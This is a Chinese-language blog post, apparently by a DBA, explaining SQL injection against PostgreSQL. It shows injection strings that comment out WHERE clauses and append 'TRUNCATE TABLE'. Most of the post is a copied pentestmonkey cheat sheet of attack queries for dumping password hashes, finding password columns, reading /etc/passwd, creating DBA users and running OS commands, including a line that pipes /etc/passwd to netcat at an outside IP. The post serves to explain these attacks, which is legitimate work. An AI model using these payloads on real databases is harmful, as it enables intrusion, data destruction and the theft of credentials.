SQL 注入对于DBA来说是防不胜防的, 唯一能做的是做好备份 .
那么SQL注入一般能利用哪些数据库特征呢?
1. 注释
例如将条件注释掉, 放大检索的结果集.
update table_name set nickname='$1' where sex='$2' and c1='$3' and ...;
如果$2 = '; -- , 注入后 SQL将变成 update table_name set nickname='$1' where sex=''; --' and c1='$3' and ... ; 将会更新所有的sex='?'的记录.
2. 多条SQL
同样上面一条SQL, update table_name set nickname='$1' where sex='$1' and c1='$2' and ...;
如果$2 = '; TRUNCATE TABLE table_name; -- 那么就变成执行2条SQL了,
SQL1 :
update table_name set nickname='$1' where sex='';
SQL2 :
TRUNCATE TABLE table_name;
这个是极度危险的.
现在大多数驱动应该不允许同时提交2条SQL了, 可以大大降低这种风险.
3. 数据库本身的特征
例如 pg_user_mappings 和 pg_foreign_server 默认情况下可以查看到foreign server和user mappings的信息, 包含IP端口,用户密码.
以下取自互联网, SQL注入常用的SQL, 查询表名, 用户名, 数据库配置等 :
http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
Some of the queries in the table below can only be run by an admin. These are marked with “– priv” at the end of the query.
| Version | SELECT version() |
| Comments | SELECT 1; –comment SELECT /*comment*/ 1; |
| Current User | SELECT user; SELECT current_user; SELECT session_user; SELECT usename FROM pg_user; SELECT getpgusername(); |
| List Users | SELECT usename FROM pg_user |
| List Password Hashes | SELECT usename, passwd FROM pg_shadow — priv |
| Password Cracker | MDCrack can crack PostgreSQL’s MD5-based passwords. |
| List Privileges | SELECT usename, usecreatedb, usesuper, usecatupd FROM pg_user |
| List DBA Accounts | SELECT usename FROM pg_user WHERE usesuper IS TRUE |
| Current Database | SELECT current_database() |
| List Databases | SELECT datname FROM pg_database |
| List Columns | SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) |
| List Tables | SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) |
| Find Tables From Column Name | If you want to list all the table names that contain a column LIKE ‘%password%’:SELECT DISTINCT relname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=’r') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ‘public’) AND attname LIKE ‘%password%’; |
| Select Nth Row | SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 0; — rows numbered from 0 SELECT usename FROM pg_user ORDER BY usename LIMIT 1 OFFSET 1; |
| Select Nth Char | SELECT substr(‘abcd’, 3, 1); — returns c |
| Bitwise AND | SELECT 6 & 2; — returns 2 SELECT 6 & 1; –returns 0 |
| ASCII Value -> Char | SELECT chr(65); |
| Char -> ASCII Value | SELECT ascii(‘A’); |
| Casting | SELECT CAST(1 as varchar); SELECT CAST(’1′ as int); |
| String Concatenation | SELECT ‘A’ || ‘B’; — returnsAB |
| If Statement | IF statements only seem valid inside functions, so aren’t much use for SQL injection. See CASE statement instead. |
| Case Statement | SELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; — returns A |
| Avoiding Quotes | SELECT CHR(65)||CHR(66); — returns AB |
| Time Delay | SELECT pg_sleep(10); — postgres 8.2+ only CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS ‘/lib/libc.so.6′, ‘sleep’ language ‘C’ STRICT; SELECT sleep(10); –priv, create your own sleep function. Taken from here . |
| Make DNS Requests | Generally not possible in postgres. However if contrib/dblinkis installed (it isn’t by default) it can be used to resolve hostnames (assuming you have DBA rights):SELECT * FROM dblink('host=put.your.hostname.here user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT); Alternatively, if you have DBA rights you could run an OS-level command (see below) to resolve hostnames, e.g. “ping pentestmonkey.net”. |
| Command Execution | CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc.so.6′, ‘system’ LANGUAGE ‘C’ STRICT; — privSELECT system(‘cat /etc/passwd | nc 10.0.0.1 8080′); — priv, commands run as postgres/pgsql OS-level user |
| Local File Access | CREATE TABLE mydata(t text); COPY mydata FROM ‘/etc/passwd’; — priv, can read files which are readable by postgres OS-level user …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1; — get data back one row at a time …’ UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2; — get data back one row at a time … DROP TABLE mytest mytest;Write to a file: CREATE TABLE mytable (mycol text); |
| Hostname, IP Address | SELECT inet_server_addr(); — returns db server IP address (or null if using local connection) SELECT inet_server_port(); — returns db server IP address (or null if using local connection) |
| Create Users | CREATE USER test1 PASSWORD ‘pass1′; — priv CREATE USER test1 PASSWORD ‘pass1′ CREATEUSER; — priv, grant some privs at the same time |
| Drop Users | DROP USER test1; — priv |
| Make User DBA | ALTER USER test1 CREATEUSER CREATEDB; — priv |
| Location of DB files | SELECT current_setting(‘data_directory’); — priv SELECT current_setting(‘hba_file’); — priv |
| Default/System Databases | template0 template1 |
